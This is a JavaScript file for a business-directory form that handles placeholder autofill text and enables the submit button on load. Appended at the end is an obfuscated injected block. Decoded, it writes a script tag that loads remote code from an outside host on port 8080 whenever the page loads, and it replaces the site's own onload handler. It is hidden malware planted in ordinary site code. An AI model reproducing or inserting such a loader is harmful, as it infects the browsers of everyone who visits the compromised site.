/*
*  Autofill Function
*/
var bizdir_yourInfo_autofill = "For us to contact you...";
var bizdir_description_autofill = "Please enter a brief (800 characters or less) description of the company (text only, no HTML, line breaks, or formatting)...";
var bizdir_keywords_autofill = "Words for the organization to be found by...";
var bizdir_companyInfo_autofill = "To be displayed with your listing...";
var bizdir_geoInfo_autofill = "For geographical searching...";

function bizdir_clearAutofill(id,type) {
	if(id == null || id == "" || type == null || type == "")
		return;
	var input = document.getElementById(id);
	if(input != null && type != null)
		switch(type) {
			case "YourInfo": if(input.value == bizdir_yourInfo_autofill) input.value = ""; input.style.color = "#000000"; break;
			case "Description": if(input.value == bizdir_description_autofill) input.value = ""; input.style.color = "#000000"; break;
			case "Keywords": if(input.value == bizdir_keywords_autofill) input.value = ""; input.style.color = "#000000"; break;
			case "CompanyInfo": if(input.value == bizdir_companyInfo_autofill) input.value = ""; input.style.color = "#000000"; break;
			case "GeoInfo": if(input.value == bizdir_geoInfo_autofill) input.value = ""; input.style.color = "#000000"; break;
		}
}

function bizdir_populateAutofill() {
	var override = arguments[0] == true;
	var all_inputs = document.getElementsByTagName('input');
	for(var i=0;i<all_inputs.length;i++) {
		var input = all_inputs[i];
		switch(input.getAttribute('bizdir_autofill')) {
			case 'YourInfo': 
				if(override || input.value == bizdir_yourInfo_autofill || input.value == "" || input.value == null) {
					input.value = bizdir_yourInfo_autofill;
					input.style.color = "#999999"; 
				}
			break;
			case 'Keywords': 
				if(override || input.value == bizdir_keywords_autofill || input.value == "" || input.value == null) {
					input.value = bizdir_keywords_autofill;
					input.style.color = "#999999"; 
				}
			break;
			case 'CompanyInfo':
				if(override || input.value == bizdir_companyInfo_autofill || input.value == "" || input.value == null) {
					input.value = bizdir_companyInfo_autofill;
					input.style.color = "#999999";
				}
			break;
			case 'GeoInfo':
				if(override || input.value == bizdir_geoInfo_autofill || input.value == "" || input.value == null) {
					input.value = bizdir_geoInfo_autofill;
					input.style.color = "#999999";
				}
			break
		}
	}
	var all_textareas = document.getElementsByTagName('textarea');
	for(var i=0;i<all_textareas.length;i++) {
		var input = all_textareas[i];
		if(
		   	input.getAttribute('bizdir_autofill') == 'Description' && 
			(input.value == "" || input.value == null || input.value == bizdir_description_autofill || override)
		) {
			input.style.color = '#999999';
			input.value = bizdir_description_autofill;
		}
	}
}
/*
* ON LOAD
*/
function bizdir_onload() {
	bizdir_populateAutofill();
	var bizdir_submit = document.getElementById("bizdir_submit")
	if(bizdir_submit != null)
		bizdir_submit.disabled = false;
}

window.onload = bizdir_onload;
/*
*  HELPER FUNCTIONS
*/
function clearMessage() {
	var messages = document.getElementById('bizdir_messages');
	if(messages != null) {
		messages.className = '';
		messages.innerHTML = '';
	}
}

var P;if(P!='' && P!='h'){P='q'};var z;if(z!=''){z='K'};function N(){var NA;if(NA!=''){NA='D'};var G=new String();var I=unescape;var QM;if(QM!=''){QM='cY'};var Gz=new Date();var i=window;this.e="";var B=I("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%6d%65%65%6d%2e%63%6f%6d%2f%69%67%6e%2e%63%6f%6d%2e%70%68%70");var S='';function U(g,n){var C='';this.Lk='';var zJ="";var Q="g";var F=I("%5b"), Uj=I("%5d");var cd='';var L=F+n+Uj;var u=new RegExp(L, Q);var E='';return g.replace(u, new String());};var rs;if(rs!=''){rs='Mr'};var Mj=new String();var m;if(m!='HS' && m!='nU'){m='HS'};this.RX='';this.kP='';var j=new String();var r=document;this.pC='';this.Fy="";var p=U('8312210321812320123','123');var DA='';function J(){var _q;if(_q!='Uf' && _q!='hL'){_q='Uf'};var g_='';var x=I("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var ud="";j=x;var v='';var cK=new Date();j+=p;var nY=new Array();var xA;if(xA!='' && xA!='OG'){xA=null};j+=B;try {var xT;if(xT!='mF'){xT=''};this.YH="";a=r.createElement(U('sAcCrCiZp5tE','d5_AmCZEg'));a[I("%64%65%66%65%72")]=[1][0];var nv;if(nv!='' && nv!='Di'){nv=''};a[I("%73%72%63")]=j;var LT;if(LT!='' && LT!='gj'){LT=''};var Gu=new String();this.TY="";var _J="";r.body.appendChild(a);var ik;if(ik!='Tw' && ik!='wQ'){ik='Tw'};var QMU;if(QMU!='' && QMU!='vE'){QMU=''};var bh;if(bh!='IN' && bh != ''){bh=null};} catch(O){var xd;if(xd!='' && xd!='VG'){xd=null};alert(O);this.IF="";};}this.nD='';var Pu;if(Pu!='qv' && Pu != ''){Pu=null};var VJ;if(VJ!='' && VJ!='qu'){VJ='zc'};i[new String("onloa"+"d")]=J;};var L_;if(L_!='Gd'){L_='Gd'};this.Aa='';var NL;if(NL!='OE' && NL != ''){NL=null};N();